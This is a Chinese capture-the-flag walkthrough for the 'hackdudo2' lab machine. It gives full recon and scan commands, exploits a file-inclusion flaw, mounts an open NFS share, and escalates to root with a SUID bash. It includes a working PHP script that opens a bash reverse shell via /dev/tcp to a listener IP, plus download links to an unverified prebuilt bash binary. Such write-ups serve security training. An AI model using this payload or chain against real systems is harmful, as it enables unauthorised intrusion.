hackdudo2解题过程

一、信息收集

1.主机ip确认

复制代码
arp-scan -l

2.端口扫描

复制代码
nmap -T4 -sV -p- -A 192.168.1.227

这里留意一下2049端口开启的nfs服务,后续有用。

3.目录扫描

复制代码
gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u

这里发现file.php文件

访问发现他说这里存在文件访问(file access)

4.参数爆破

复制代码
wfuzz --hw 14 -w /usr/share/wordlists/wfuzz/general/common.txt -u http://192.168.1.227/file.php?FUZZ=../../../etc/passwd

这里爆破出参数file

二、漏洞发现和利用

1.访问http://192.168.1.227/file.php?file=/etc/passwd,可以发现web端存在文件包含漏洞

2.挂载nfs服务

NFS,全称Network File System,即网络文件系统。最大的功能是通过网络,让不同的机器、不同的操作系统可以共享彼此的文件。可以理解为本地多了一个虚拟磁盘。nfs服务的缺点之一是客户端没有用户认证机制。

复制代码
showmount -e 192.168.1.227

发现靶机将/mnt/nfs目录挂出来了,并且给了所有权限 *

创建目录并挂载

复制代码
mkdir /mnt/nfs

mount -t nfs 192.168.1.227:/mnt/nfs /mnt/nfs

找到第一个flag

3.利用nfs进行文件上传,实现反弹shell

写一个php的脚本,并进行端口监听。然后利用web端的文件包含漏洞进行访问执行

php脚本

复制代码
<?php
// 定义目标 IP 和端口
$ip = '192.168.1.148';  // 替换为你的监听机器 IP
$port = 8888;           // 替换为你的监听端口

// 构造 Bash 反弹 Shell 命令
$command = "bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'";

// 执行命令
shell_exec($command);
?>

三、提权

1.利用nfs提权漏洞进行提权,命令:cp /bin/bash . 、chmod u+s bash,chmod +x bash然后在靶机中通过./bash -p来实现提权至root,我这里是因为kali的bash太高,导致提权失败。

我的kali的bash版本比靶机高,所以靶机运行不了

2.如果你也有我的那种问题,可以去找一个低版本的虚拟机,然后把低版本的bash文件拷出来再进行上传。

提权后可以在root目录下找到root.txt文件,那就是最后的flag。

3.如果你的bash版本也高,又懒得去别的虚拟机找低版本的bash文件,那直接下载我的也行。

(我也因为这个文件卡了挺久!!!!看别人文章都不给现成文件受不鸟!)

链接: https://pan.baidu.com/s/1qcyAuwTUmNrmgUSq3Pol7Q?pwd=yucn 提取码: yucn

链接:https://pan.quark.cn/s/64053f4d0ce3

相关推荐
Waay4 小时前
“红帽系统管理二”知识点问答题:第11章 管理网络安全
网络·安全·web安全
Yupureki4 小时前
《Linux网络编程》8.网络层IP原理
linux·运维·服务器·网络·ip
yyuuuzz5 小时前
aws亚马逊入门常见认知误区
运维·服务器·网络·云计算·github·aws
剑锋所指,所向披靡!5 小时前
计算机网络概述
网络·计算机网络
DeepFlow 零侵扰全栈可观测5 小时前
运动战:AI 时代 IT 运维的决胜之道——DeepFlow 业务全链路可观测性的落地实践
运维·网络·人工智能·arcgis·云计算
百锦再6 小时前
Auto.js变成基础知识学习
开发语言·javascript·学习·sqlite·kotlin·android studio·数据库开发
KuaCpp6 小时前
C++新特性学习
c++·学习
志栋智能7 小时前
告别报告堆砌:超自动化巡检的智能分析与洞察
运维·服务器·网络·人工智能·自动化
Komorebi_99999 小时前
大模型学习day5
学习·大模型
大方子9 小时前
【PolarCTF】PHP反序列化初试
网络安全·polarctf